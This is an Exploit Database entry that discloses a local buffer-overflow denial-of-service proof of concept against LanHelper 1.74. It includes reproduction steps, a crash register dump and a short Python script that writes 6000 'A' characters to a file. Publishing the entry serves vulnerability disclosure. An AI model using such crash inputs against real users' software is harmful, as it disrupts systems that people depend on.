



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

LanHelper 1.74 - Denial of Service (PoC)

EDB-ID:

46295

CVE:

N/A

EDB Verified: ✘

Author:

[RAFAEL PEDRERO](#)

Type:

[DOS](#)

Exploit:   / 

Platform:

[WINDOWS](#)

Date:

2019-01-31

Vulnerable App:



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
# Exploit Title: LanHelper v1.74 - Denial of Service (PoC)
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-31
# Vendor Homepage: http://www.hainsoft.com/
# Software Link : http://www.hainsoft.com/
# Tested Version: 1.74
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run LanHelper.exe
# 2.- copy content LanHelper_Crash.txt or 6000 "A" to clipboard (result
from this python script)
# 3.- Go to "NT-Utilities" - "Form Send Message" - Tab "Message" - "Add" -
"Add target" and paste the result from this python script
# 4.- Paste the result from this python script in "Message text:", same
form.
# 5.- Click in Send button and you will see a crash.

...
EAX 00410041 LanHelpe.00410041
ECX 00410041 LanHelpe.00410041
EDX 00410041 LanHelpe.00410041
EBX 00410745 LanHelpe.00410745
ESP 013DFE70
EBP 013DFE94
ESI 00B6F268
EDI 00B6F96C UNICODE "AAAAAAAAAAAAAAAAAAAA"
EIP 00401D0A LanHelpe.00401D0A
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFD9000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_IO_PENDING (000003E5)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty

          3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 1372  Prec NEAR,64  Mask   1 1 0 0 1 0

...

#!/usr/bin/env python

crash = "\x41" * 6000
f = open ("LanHelper_Crash.txt", "w")
f.write(crash)
f.close()
```

Tags: [Denial of Service \(DoS\)](#)

Advisory/Source: [Link](#)





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)



[OffSec Services Limited](#) 2026. All rights reserved.